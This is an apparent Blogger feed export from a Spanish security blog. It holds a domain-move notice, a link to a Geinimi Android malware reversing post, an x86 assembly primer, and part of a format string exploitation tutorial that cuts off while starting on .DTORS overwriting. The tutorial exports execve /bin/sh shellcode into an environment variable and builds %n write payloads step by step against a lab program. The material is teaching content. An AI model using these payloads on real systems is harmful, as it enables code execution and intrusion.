tag:blogger.com,1999:blog-91963526986891624582024-02-20T08:04:07.606-08:00Sebastián GuerreroUnknownnoreply@blogger.comBlogger19125tag:blogger.com,1999:blog-9196352698689162458.post-27849567176597261872011-02-16T14:10:00.000-08:002011-02-16T14:13:00.166-08:00Nuevo dominioHe trasladado el contenido del blog a un nuevo dominio: <a href="http://blog.seguesec.com">http://blog.seguesec.com</a> , desde allí podréis consultar a partir de ahora las nuevas entradas.<div><br /></div><div><br /></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-58967933625219307352011-02-12T03:07:00.000-08:002011-02-12T03:09:08.530-08:00Reversing Android.Geinimi.AHe publicado una aportación para <b>Security By Default</b> donde trato el tema de reversing a las APK de Android, y tomo como ejemplo el último malware para dispositivos smartphone llamado Gemini.<br /><br />Si quieres leerlo: <a href="http://www.securitybydefault.com/2011/02/reversing-androidgeinimia.html">Reversing Android.Geinimi.A</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-69200579851355542532011-01-10T18:13:00.000-08:002011-01-30T11:11:05.742-08:00Principios en ensamblador<h1>Introducción</h1>
<br />
<br />El objetivo de esta entrada no es otro que dar unas nociones básicas de ASM para tener una base con la que empezar a realizar reversing para los menos avezados.
<br />
<br /><b>¿Qué es?</b>
<br />
<br />Una entrada donde se condensen los principios básicos a conocer y tener en cuenta para introducirnos un poco en el mundo del reversing. Tómalo como una pequeña guía de referencia, nada más.
<br />
<br />Para un buen aprendizaje de ASM consulta el libro “<a href="http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/www.artofasm.com/index.html">The art of assembly language</a>”.
<br />
<br /><b>¿Qué no es?</b>
<br />
<br />No se trata de un tutorial sobre programación en ASM, ni se trata de explicar conceptos avanzados en la materia ni lenguaje.
<br />
<br /><h1>Prerrequisitos</h1>
<br /><ul><li><a href="http://es.wikipedia.org/wiki/Sistema_binario">Sistema binario</a>.</li><li><a href="http://es.wikipedia.org/wiki/Sistema_hexadecimal">Sistema hexadecimal</a>.</li><li><a href="http://es.wikipedia.org/wiki/Unidad_central_de_procesamiento#Operaci.C3.B3n_del_CPU">Conocer el funcionamiento de una CPU</a>.</li><li><a href="http://es.wikipedia.org/wiki/Sistema_operativo">Conocer cómo se estructura un sistema operativo</a>.</li><li><a href="http://es.wikipedia.org/wiki/Memoria_(inform%C3%A1tica)">Conocer como se procesan y almacenan los datos en memoria</a>.</li></ul>
<br />
<br />
<br /><h1>¿Qué es la ingeniería inversa?</h1>
<br />
<br /><b>Wikipedia</b>– (El objetivo de la ingeniería inversa (<i>reversing</i>) es obtener información a partir de un producto accesible al público, con el fin de determinar de qué está hecho, qué lo hace funcionar y cómo fue fabricado.
<br />
<br />
<br />El método se denomina así porque avanza en dirección opuesta a las tareas habituales de ingeniería, que consisten en utilizar datos técnicos para elaborar un producto determinado.
<br />
<br />
<br />La ingeniería inversa es un <b>método de resolución</b>. Aplicar ingeniería inversa a algo supone profundizar en el estudio de su funcionamiento, hasta el punto de que podamos llegar a <b>entender</b>, <b>modificar</b> y <b>mejorar</b> dicho modo de funcionamiento.)
<br />
<br />
<br /><h1>Adentrándonos en ASM</h1>
<br />
<br />Obtener unas nociones básicas de ensamblador es fundamental para comenzar nuestra incursión en el mundo del reversing, hazte a la idea de que tendrás que manejarte al dedo con él.
<br />
<br />
<br />Olvídate de las facilidades que podías gozar en python, C, C++, perl, etc. Esto es otra historia, aquí usaremos abreviaturas y números, y probablemente al comienzo todo te parezca bastante lioso e incluso frustrante.
<br />
<br />
<br /><h3>Bits, Bytes, Words DWords</h3>
<br />
<br /><ul><li><b>BIT</b> – Unidad mínima de información. Su valor puede oscilar entre el ‘<b>0</b>’ o ‘<b>1</b>’. El sistema binario se forma por la unión de varios bits.</li><li><b>BYTE</b> – Un byte está formado por 8 bits. Su valor puede oscilar entre 0-255. Es un sistema en base 2. Nosotros para facilitar la lectura de los números binarios, usaremos el sistema hexadecimal (sistema en base 16) por la rapidez y facilidad para leer.</li><li><b>WORD</b> – Son dos bytes o lo que es lo mismo 16 bits. Su valor oscila entre <b>0-65535d</b> (<i>0h – 0FFFFh</i>)</li><li><b>DWORD</b> – Son dos words o lo que es lo mismo 32 bits. Su valor oscila entre <b>0-4294967295d</b> (<i>0h-0FFFFFFFFh</i>)</li></ul>
<br />
<br /><h3>Registros</h3>
<br />
<br />Similar a las variables. Un registro es una zona especial en la memoria de nuestro procesador donde podemos <b>almacenar y consultar un valor único</b>. Con la salvedad de que existen un número limitado de ellos y cada uno tiene un cometido específico.
<br />En arquitecturas Intel (que será la elegida por nosotros) podemos distinguir un total de 8 registros:
<br /><ul><li><b>EAX</b> (<i>Extended Accumulator Register</i>) – Destacamos dos funcionalidades de uso común para este tipo de registro: Almacenar el valor de retorno de una función y utilizarlo como contenedor para resolver sencillas operaciones matemáticas.
<br />
<br />Es un registro volátil, dado que su valor no es almacenado. A pesar de que se establezca el valor de retorno de una función al contenido del mismo.</li><li><b>EBX</b> (<i>Extended Base Register</i>) - Suele utilizarse como apoyo para acelerar el cálculo de operaciones. Es un registro no volátil.</li><li><b>ECX</b> (<i>Extended Counter Register</i>) – Registro volátil que puede ser utilizado como contador de bucle o contenedor de parámetros que sean pasado a funciones</li><li><b>EDX</b> (<i>Extended Data Register</i>) – Registro volátil usado mayormente como parámetro para funciones. Normalmente se usa también para almacenar variables a corto plazo dentro de una función.</li><li><b>ESI</b> (<i>Extended Source Index</i>) – Registro no volátil que normalmente es usado como puntero. Es utilizado por aquellas funciones que requieren un origen y un destino para los datos que se utilizan. Apuntando este al origen en todo momento.</li><li><b>EDI</b> (<i>Extended Destination Index</i>) - Al igual que el registro ESI, es no volátil y usado como puntero, a diferencia de que este apunta al destino siempre.</li><li><b>EBP</b> (<i>Extended Base Pointer</i>) – Registro no volátil con dos usos comunes según el compilador que utilicemos, así puede desempeñar el papel de un registro como otro cualquiera o ser el puntero al marco de pila.</li><li><b>ESP</b> (<i>Extended Stack Pointer</i>) – Almacena un puntero a la parte inferior de la pila. Tras ejecutar una función el valor que tenía el registro al principio debe de coincidir con el asociado tras la función</li><li><b>EIP</b> (<i>Extended Instruction Pointer</i>)</li></ul>
<br />
<br />Estos registros de <b>32 bits</b> a su vez pueden ser divididos en registros de menor tamaño (<b>16 bits</b>, y <b>8 bits</b>, distinguiendo la parte superior e inferior).
<br />Por tanto tenemos:
<br /><ul><li><b>8 registros de 32 bits</b>: EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP EIP</li><li><b>8 registros de 16 bits</b>: AX, BX, CX, DX, SI, DI, BP, SP, IP</li><li><b>8 registros de 8 bits</b>: AH, AL, BH, BL, CH, CL, DH, DL</li></ul>
<br />
<br />Donde H hace referencia a <b>Higher</b> (<i>Bits más significantes de la dirección</i>) y L a <b>Lower</b>(<i>Bits menos significantes de la dirección</i>).
<br />
<br />
<br />De esta forma <b>ECX = 0x24101989</b>, quedaría como <b>CX = 0x1989</b>, <b>CH = 0x19</b> y <b>CL = 0x89</b>, y de paso ya sabéis cuándo hacerme un regalo (<b>rubias por favor ;D</b>).
<br />
<br />
<br />Ahora mismo debemos de quedarnos con una idea ligeramente similar a esta:
<br />
<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BcfTeHrlYdY/TSvARqqNrzI/AAAAAAAAAIc/OApn-YFuH7Y/s1600/graf1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TSvARqqNrzI/AAAAAAAAAIc/OApn-YFuH7Y/s320/graf1.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5560749574660665138" /></a>
<br /><h3>Las banderas (Flags)</h3>
<br />
<br />Se tratan de simples bits que nos indican el estado de algo. En arquitecturas de 32bits tenemos un total de <b>32 banderas</b>, pero nosotros sólo vamos a utilizar tres de ellas:
<br />
<br /><ul><li><b>Z-Flag</b> – (<i>Zero flag</i>) Será el flag que más acabaremos usando, cuando su valor es ‘1’ nos indica que el resultado de una operación fue ‘0’. Su valor puede ser cambiado por todas aquellas instrucciones que realicen operaciones matemáticas y por la instrucción ‘<b>cmp</b>’</li><li><b>C-Flag</b> – (<i>Carry flag</i>) Su valor va ligado al uso de acarreo en operaciones de suma y resta.</li><li><b>O-Flag</b> – (<i>Overflow flag</i>) Su valor cambia a disposición del valor que adopte el bit más significativo. Si queremos realizar la suma de 127 consigo mismo, este es representado como 0111 1111, en este momento el MSB es ‘0’, pero al realizar la operación (0111 1111 + 0111 1111) obtenemos 1111 1110, siendo ‘1’ ahora el valor del MSB.</li></ul>
<br />
<br /><h3>Segmentos (Segments) y desplazamientos (Offsets)</h3>
<br />
<br />El concepto de segmento podemos definirlo como la zona de memoria donde las <b>instrucciones</b> (<i>CS</i>), <b>datos</b> (<i>DS</i>) o <b>pila</b> (<i>SS</i>) son almacenadas.
<br />
<br />A su vez cada segmento es dividido en 'offsets'. Así en aplicaciones de 32-bits estos offsets estos van numerados desde <b>00000000 a FFFFFFFF</b>, o lo que es lo mismo 65536 zonas de memoria.
<br />
<br />Por tanto podemos aceptar el concepto de offset como un valor indicativo de desplazamiento desde el punto de inicio del objeto hasta un punto dado, presumiblemente siempre dentro del mismo objeto.
<br />
<br />Un ejemplo real de esto podemos ponerlo como un libro en el caso de un segmento, y una línea específica de una página como un offset.
<br />
<br />
<br /><h3>La pila</h3>
<br />
<br />Podemos ver el concepto de pila como una estructura de datos, en la que el modo de acceso a sus elementos es de tipo <b>LIFO</b> (<i>Last Input First Output</i> – Ultimo en entrar, primero en salir).
<br />
<br />
<br />Distinguimos dos comandos para interactuar con ella:
<br /><ul><li><b>Push</b> (<i>apilar</i>) – Coloca un objeto en la pila.</li><li><b>Pop</b> (<i>desapilar</i>) – Saca un objeto de la pila.</li></ul>
<br />
<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BcfTeHrlYdY/TSvBrZG-TEI/AAAAAAAAAIk/OWpwomW-xBo/s1600/graf3.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TSvBrZG-TEI/AAAAAAAAAIk/OWpwomW-xBo/s320/graf3.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5560751116137679938" /></a>
<br />
<br />
<br />Cuando llamamos a una función, todos sus parámetros son almacenados en <b>sentido inverso</b> en la pila antes de hacer de pasar el flujo de ejecución a la función.
<br />
<br /><blockquote>NuestraFuncion(int param1, int param2, char param3, float param4)</blockquote>
<br />
<br />Esto en ensamblador quedaría:
<br /><blockquote>
<br /> push param4
<br /> push param3
<br /> push param2
<br /> push param1
<br /> call NuestraFuncion
<br /> add esp, 10h
<br /></blockquote>
<br />
<br />Como comentabamos vamos pasando los parámetros a nuestra pila para posteriormente realizar la llamada. Después de acabar la ejecución de nuestra función el puntero a pila sigue teniendo <b>16 bytes por delante de lo que tenía en un principio</b>. Con la intención de restaurar el estado original de la misma, debemos añadir al puntero el valor <b>10h</b> que corresponde a los 4 elementos que hemos introducido en la pila (<i>4bytes por cada instrucción push ejecutada</i>).
<br />
<br />
<br /><h3>Operaciones lógicas</h3>
<br />
<br />A lo largo de nuestro recorrido deberemos conocer cómo funcionan las operaciones lógicas a nivel de bits:
<br />
<br />
<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BcfTeHrlYdY/TSvDCt8tUBI/AAAAAAAAAIs/xIRPYluLYSk/s1600/graf2.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TSvDCt8tUBI/AAAAAAAAAIs/xIRPYluLYSk/s320/graf2.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5560752616380387346" /></a>
<br />
<br /><ul><li><b>Operación AND</b> – Realiza la función booleana de producto lógico.</li><li><b>Operación OR</b> – Realiza la función booleana de suma lógica.</li><li><b>Operación XOR</b> - Realiza la función booleana de A’B+AB’.</li><li><b>Operación NOT</b> – Realiza la función booleana de inversión o negación de una variable lógica.</li></ul>
<br />
<br /><h3>Instrucciones</h3>
<br />
<br /><b>Instrucción NOP</b> – Es una abreviatura de “<i>No operation</i>” y su uso es de simple relleno.
<br />
<br />
<br /><b>Desplazando datos</b>:
<br /><ul><li><b>'mov'</b> – Instrucción análoga a '=', puede mover datos entre un registro y memoria, dos registros o incluso entre una constante y memoria.</li><li><b>'movsx'</b> – Versión especializada para usar con registros de diferentes tamaños y con signo.</li><li><b>'movzx'</b> – Versión especializada para usar con registros de diferentes tamaños y sin signo.</li><li><b>‘lea’</b> (<i>Load Effective Address</i>) – Uso similar a ‘<b>mov</b>’ y utilizado para calcular desplazamientos en vectores, dado que podemos hacer uso de [<b>dirección comienzo + offset*datasize</b>] para encontrar la dirección de un elemento en concreto del vector. Su uso también se basa para cálculos de multiplicaciones y sumas.</li></ul>
<br />
<br /><b>Operaciones lógicas y matemáticas</b>
<br /><ul><li><b>‘add’, ‘sub’</b> – Permiten sumar o restar respectivamente a un registro, un valor constante, un registro o un puntero.
<br />
<br /><blockquote>
<br />add eax, 5
<br />sub ecx, 5
<br />add ebx, eax
<br /></blockquote></li><li><b>‘inc’, ‘dec’</b> – Permiten incrementar o decrementar respectivamente un registro.
<br />
<br /><blockquote>
<br />inc ebx
<br />dec eax
<br /></blockquote></li><li><b>‘and’, ‘or’, ‘xor’, ‘neg’</b> – Instrucciones encargadas de realizar las operaciones lógicas a nivel de bits, que hemos explicado anteriormente.
<br />
<br /><blockquote>
<br />and eax, 5 ; eax = eax & 7
<br />xor eax, 0 ; eax = eax ^ 0
<br />or eax, 19 ; eax = eax | 19
<br />neg eax ; eax = !eax
<br />xor eax, eax ; eax = 0
<br /></blockquote></li><li><b>‘mul’, ‘imul’, ‘div’, ‘idiv’, ‘cdq’</b> – Correspondientes a las operaciones de multiplicación y división, ambas hacen uso de los registros de 64 bits edx:eax. ‘mul’ multiplica el valor sin signo almacenado en el registro eax con el operando y almacena el resultado en el registro de edx:eax. Por otro lado ‘imul’ realizad la misma operación a excepción de que el valor es con signo.
<br />
<br /><blockquote>
<br />mul ecx ; edx:eax =eax * ecx (Sin signo)
<br />imul ecx ; edx:eax = eax * ecx (Con signo)
<br /></blockquote>
<br />
<br />Cuando se usan dos parámetros, el comportamiento es el esperado, multiplica el primero por el segundo y almacena el resultado en el primer parámetro.
<br />
<br />
<br /><b>‘div’</b> divide el valor almacenado en el registro edx:eax por el operando y el cociente lo almacena en eax. El resto o módulo es almacenado en edx. Al igual que sucedía con ‘imul’ la operación ‘idiv’ permite utilizar valores con signo.
<br />
<br /><blockquote>
<br />div ecx ; eax = edx:eax / ecx (Sin signo)
<br /> ; edx = edx:eax % ecx (Sin signo)
<br />
<br />idiv ecx ; eax = edx:eax / ecx (Con signo)
<br /> ; edx = edx:eax % ecx (Con signo)
<br /></blockquote>
<br />
<br />Por otro lado la operación ‘<b>cdq</b>’ es usada antes que ‘idiv’ y su cometido es convertir el valor de 32bit almacenado en eax en un valor de 64 bit para almacenarlo en edx:eax sobreescribiendo cualquier valor que haya en edx con ceros en caso de ser eax positivo o con ‘F’ en caso de ser eax negativo.</li><li><b>‘shl’, ‘shr’</b> – <i>Shift Left</i> y <i>Shift Right</i> respectivamente, nos permiten realizar desplazamiento a nivel de bits hacia la derecha e izquierda, al igual que los operadores <b><<</b> y <b>>></b> usados en C.</li></ul>
<br />
<br /><b>Saltos</b> Estas instrucciones son utilizadas en caso de bucles y condiciones de comprobación. Realizando una comprobación del valor que almacena el registro, dirección o constante asociada a la instrucción.
<br /><ul><li><b>‘jmp’</b> – Envía la ejecución del programa a la dirección especificada
<br />
<br /><blockquote>
<br />jmp 2420h ; Saltamos a la dirección 0x2420
<br /></blockquote></li><li><b>‘call’, ‘ret’ –</b> ‘call’ tiene un uso similar a ‘jmp’ a excepción de que además de realizar el salto a la dirección solicitada, almacena en la pila la dirección de la instrucción ejecutada.
<br />
<br />
<br />Por otro lado ‘ret’ obtiene el tope de la pila y desplaza el flujo de ejecución de nuestra aplicación hasta la dirección de memoria asociada. Si el registro SP apunta a una dirección errónea o esta ha sido sobreescrita desencadenará que nuestra aplicación se cierre inesperadamente. Con estas instrucciones jugaremos más adelante.</li><li><b>‘cmp’, ‘test’</b> – ‘cmp’ compara los dos operandos y establece una serie de flags como resultado de la operación realizada.
<br />
<br />
<br />Por otro lado ‘test’ realiza una operación and a nivel de bit entre las dos variables y posteriormente realiza una comparación con 0.
<br />
<br />
<br />Los flags más comunes:
<br /><ul><li><b>Cero</b> (<i>Zero</i>) – Lo establece únicamente si los dos elementos son iguales.</li><li><b>Mayor que</b> (<i>Greater than</i>) – Lo establece si el primer elemento es mayor que el segundo.</li><li><b>Menor que</b> (<i>Less than</i>) – Lo establece si el primer elemento es menor que el segundo.</li></ul>
<br /><blockquote>
<br />cmp eax, ebx ; Compara EAX y EBX y establece el flag Zero si son iguales
<br />cmp EAX, [404000] ; Compara EAX con el contenido de 404000
<br />test eax, eax
<br /></blockquote></li></ul>
<br />
<br /><b>Otras instrucciones relacionadas con los saltos</b>
<br /><ul><li><b>ja</b> - Salta si es mayor - CF=0 y ZF=0</li><li><b>jae</b> – Salta si es mayor o igual - CF=0</li><li><b>jb</b> (<i>el whisky no</i>) – Salta si es menor - CF=1</li><li><b>jbe</b> - Salta si es menor o igual - CF=1 o ZF=1</li><li><b>jc</b> – Salta si el flag de acarreo está establecido - CF=1</li><li><b>jcxz</b> – Salta si CX es 0 - CX=0</li><li><b>je</b> – Salta si la comprobación es igual - ZF=1</li><li><b>jecxz</b> – Salta si ECX es 0 - ECX=0</li><li><b>jg</b> - Salta si es mayor (Con signo) - ZF=0 y SF=OF</li><li><b>jge</b> – Salta si es mayor o igual (CS) - SF=OF</li><li><b>jl</b> – Salta si es menor (CS) - SF != OF</li><li><b>jle</b> – Salta si es menor o igual (CS) - ZF=1 y OF != OF</li><li><b>jmp</b> - Salta - Siempre salta</li><li><b>jna</b> – Salta si no es mayor (Sin signo) - CF=1 o ZF=1</li><li><b>jnae</b> - Salta si no es mayor o igual (SS) - CF=1</li><li><b>jnb</b> - Salta si no es menor (SS) - CF=0</li><li><b>jnbe</b> - Salta si no es menor o igual (SS) - CF=0 y ZF=0</li><li><b>jnc</b> - Salta si el flag de acarreo no está establecido - CF=0</li><li><b>jne</b> - Salta si no es igual - ZF=0</li><li><b>jng</b> - Salta si no es mayor (CS) - ZF=1 o SF!=OF</li><li><b>jnge</b> - Salta si no es mayor o igual (CS) - SF!=OF</li><li><b>jnl</b> - Salta si no es menor (CS) - SF=OF</li><li><b>jnle</b> - Salta si no es menor o igual (CS) - ZF=0 y SF=OF</li><li><b>jno</b> - Salta si el flag de overflow no está establecido - OF=0</li><li><b>jnp</b> - Salta si el bit de paridad no está establecido - PF=0</li><li><b>jns</b> - Salta si el flag de signo no está establecido - SF=0</li><li><b>jnz</b> - Salta si no es cero - ZF=0</li><li><b>jo</b> - Salta si el flag de overflow está establecido - OF=1<7li></li><li><b>jp</b> - Salta si el bit de paridad está establecido - PF=1</li><li><b>jpe</b> - Salta si el bit de paridad es igual - PF=1</li><li><b>jpo</b> - Salta si el bit de paridad es impar - PF=0</li><li><b>js</b> - Salta si el bit de signo está establecido - SF=1</li><li><b>jz</b> - Salta si es cero - ZF=1</li></ul>
<br />
<br />
<br />
<br />Unknownnoreply@blogger.com11tag:blogger.com,1999:blog-9196352698689162458.post-88190793326475327212010-12-19T13:38:00.000-08:002010-12-19T15:06:45.357-08:00Introducción a Format String Attack IIISeguimos con la serie de entradas dedicadas a la técnica Format String Attack<br /><ul><li><a href="http://seguesec.blogspot.com/2010/10/introduccion-format-string-attack.html">Format String Attack I de III</a></li><li><a href="http://seguesec.blogspot.com/2010/10/introduccion-format-string-attack-ii.html">Format String Attack II de III</a></li><li>Format String Attack III de III</li></ul><br /><br /><h1>Direct Parameter Access (DPA)</h1><br /><br />En las entradas anteriores hemos podido comprobar como para explotar este tipo de vulnerabilidades necesitabamos introducir un número secuencial de parámetros de formato como %x acompañados de palabras de 4 bytes para conseguir de forma exitosa sobreescribir una dirección de memoria en una zona arbitraria de la memoria.</br><br /> <br />Con el DPA conseguimos simplificar todo este trabajo y tener <b>acceso a la dirección de forma directa</b> usando el signo del dólar '<b>$</b>'. Usemos el siguiente <a href="http://pastebin.com/uTBWYZbE">código de ejemplo</a><br /> <br /><blockquote> <br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dpa-poc dpa-poc.c <br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dpa-poc <br /><br />Sexta posición: 6<br /></blockquote><br /><br />Si antes necesitabamos acceder al dato en el duodécimo offset, usando para ello "%x" doce veces, ahora podemos obtener lo mismo usando para ello:</br><br /> <br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./fst_example BBBB%12\$x<br /><br />Correcto:<br />BBBB%12$x<br />Incorrecto:<br />BBBB42424242<br /></blockquote><br /><br />Además también conseguimos simplificar el proceso de escritura en las direcciones de memoria, puesto que al poder ser accedida directamente, no hay necesidad de usar esos 4 bytes separadores innecesarios para aumentar el contador de bytes.</br><br /><br />Para ejemplificar todo esto un poco más y exponer ejemplos más cercanos, vamos a tratar de escribir alguna dirección de memoria de alguna variable de entorno que tenga por contenido una shellcode basándonos para ello la ténica de DPA.</br><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`<br /></blockquote><br /><br />Localicemos su posición exacta:<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./getenvaddr SHELLCODE<br /><br />SHELLCODE está localizada en 0xbffff5e0<br /></blockquote><br /><br />Ejecutando <b>gdb</b> para obtener información adicional:<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gdb ./fst_example -q<br />(gdb) break main<br />Breakpoint 1 at 0x08048382<br />(gdb) run<br />Starting program: /home/roote/Universidad/PFC/wiki/tutoriales/string-attack<br /><br /><br />Breakpoint 1, 0x08048382 in main ()<br />Current language: auto; currently asm<br />(gdb) x/s 0xbffff5e0<br />0xbffff5e0: ".gpg-agent:3824:1"<br />(gdb) x/s 0xbffff5e0+18<br />0xbffff5f2: "SHELLCODE=", '\220' <repeats 50 times>, "1�Ph//shh/bin\211�PS\211�\231�\v�\200"<br />(gdb) x/s 0xbffff5e0+43<br />0xbffff60b: '\220' <repeats 35 times>, "1�Ph//shh/bin\211�PS\211�\231�\v�\200"<br /></blockquote><br /><br />Ya sabemos que nuestra shellcode está en la dirección <b>0xbffff60b</b> y que:<br /><ul><li><b>Primero</b>: 0xe0 - [ <i>Valor del offset</i> ]</li><li><b>Segundo</b>: 0xf5 - 0xe0</li><li><b>Tercero</b>: 0xff - 0xf5</li><li><b>Cuarto</b>: 0xbf - 0xff</li></ul><br /><br />El buffer de direcciones que debemos escribir es:<br /><br /><blockquote><br />"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"<br /></blockquote><br /><br />Para hacernos una idea de cómo nuestro ataque utiliza el direct parameter access podemos echarle un vistazo a esto:<br /><br /><ul><li><b>Primero escribe</b>: %[offset]$[valor]x%[offset]$n</li><li><b>Segundo escribe</b>: %[offset]$[valor]x%[offset+1]$n</li><li><b>Tercero escribe</b>: %[offset]$[valor]x%[offset+2]$n</li><li><b>Cuarto escribe</b>: %[offset]$[valor]x%[offset+3]$n</li></ul><br /><br />Ahora tratemos de escribir <b>0xe0</b> en la primera direccion del buffer<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf <br />"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$x%12\$n<br /><br />Correcto:<br />H�I�J�K�%12$x%12$n<br />Incorrecto:<br />H�I�J�K�8049648<br />(-) Valor @ 0x08049648 = 23 0x00000017<br /></blockquote><br /><br />Calculamos el desplazamiento:<br /><br /><blockquote><br />>>> 0xe0-16<br />208<br /></blockquote><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf <br />"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n<br /><br />Correcto:<br />H�I�J�K�%12$208x%12$n<br />Incorrecto:<br />H�I�J�K� 8049648<br />(-) Valor @ 0x08049648 = 224 0x000000e0<br /></blockquote><br /><br />El hecho de decrementar el valor en 16 bytes es debido a que es la distancia respecto a la primera dirección introducida.<br /><br /><blockquote><br />>>> 0xf5-0xe0<br />21<br /></blockquote><br /><br />Ahora escribamos <b>0xf5</b> en la segunda dirección del buffer<br /><br /><blockquote><br />>>> 0xf5-0xe0<br />21<br /></blockquote><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf <br />"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"<br />`%12\$208x%12\$n%12\$21x%13\$n<br /><br />Correcto:<br />H�I�J�K�%12$208x%12$n%12$21x%13$n<br />Incorrecto:<br />H�I�J�K� 8049648 8049648<br />(-) Valor @ 0x08049648 = 62944 0x0000f5e0<br /></blockquote><br /><br />La siguiente dirección del buffer será sobreescrita por <b>0xff</b>:<br /><br /><blockquote><br />>>> 0xff-0xf5<br />10<br /></blockquote><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf <br />"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"<br />`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n<br /><br />Correcto:<br />H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n<br />Incorrecto:<br />H�I�J�K� 8049648 8049648 8049648<br />(-) Valor @ 0x08049648 = 16774624 0x00fff5e0<br /></blockquote><br /><br />Como podéis ver el offset que delimita el final del rango del buffer a sobreescribir, por cada contenido que deseamos añadir es aumentado en uno.</br><br /><br /><b>NOTA</b>: <i>Para la operación 0xff-0xf5 el valor obtenido ha sido 10, si al realizar este cálculo obtenemos un número inferior a 8, sería necesario añadir 1 al principio del byte, es decir: 0x1ff-0xf5, pero en este caso no es necesario.</i><br /></br><br /><br />Por último escribamos <b>0xbf</b> en la cuarta dirección del buffer:<br /><br /><blockquote><br />>>> 0xbf-0xff<br />-64<br /></blockquote><br /><br />Aplicando el consejo que hemos comentado antes, obtenemos el resultado correcto a partir de:<br /><br /><blockquote><br />>>> 0x1bf-0xff<br />192<br /></blockquote><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf <br />"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"<br />`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n<br /><br />Correcto:<br />H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n<br />Incorrecto:<br />H�I�J�K� 8049648 8049648 8049648 8049648<br />(-) Valor @ 0x08049648 = -1073744416 0xbffff5e0<br /></blockquote><br /><br />Con esto llegamos a la conclución de que la dirección de <b>la shellcode ha sido escrita correctamente</b> en la dirección de la variable.<br /><br /><br /><h1>Sobreescribiendo las zonas .DTORS</h1><br /><br />Cuando hablamos de clases y la instancia de objetos respecto a estas, debemos distinguir dos procesos comúnes y estrechamente ligados entre sí, el hecho de llamar al constructor de la clase para reservar un espacio de direcciones donde albergar el objeto, y el destructor utilizado para liberar la zona de memoria ocupada por nuestro objeto una vez el cometido de nuestra aplicación<br />finaliza.</br><br /><br />Así podemos distinguir en nuestro <b>ELF</b> (<i>entre otras</i>) una sección llamada <b>.CTORS</b> encargada de mantener información referente a los punteros de los constructores, y otra llamada <b>.DTORS</b> con información sobre los punteros de los destructores.</br><br /><br />Por ahora basta con saber esto y que los constructores son lanzadas antes de que nuestro programa ejecute la función main, y que los destructores se ejecutan inmediantemente después de que finalice con una llamada de salida al sistema. Nosotros en especial, vamos a centrarnos en la sección .DTORS.</br><br /><br />El motivo de esto, es debido a que la sección .DTORS <b>puede ser sobreescrita</b>, por tanto podemos redirigir el flujo de ejecución de nuestra aplicación a la dirección que nosotros indiquemos una vez termine su ejecución, así obligaríamos por ejemplo a que <b>se ejecutara nuestra shellcode</b>.</br><br /><br />Veamos todo esto con pequeños ejemplos que nos clarifiquen un poco estos conceptos (<a href="http://pastebin.com/ZsKhjCNP">código fuente</a>)<br /><br /><blockquote> <br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dtors_poc dtors_poc.c<br /> <br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dtors_poc <br /><br />Traza 1 - Dentro de la función construir atribuida al constructor.<br />Traza 2 - Dentro de la función main.<br />Traza 3 - Dentro de la función destruir atribuida al destructor.<br /></blockquote><br /><br />Ahora vamos a utilizar el comando <b>objdump</b> para examinar las distintas secciones y en nm para encontrar las direcciones de memoria donde están ubicadas nuestras funciones:<br /><br /><blockquote><br 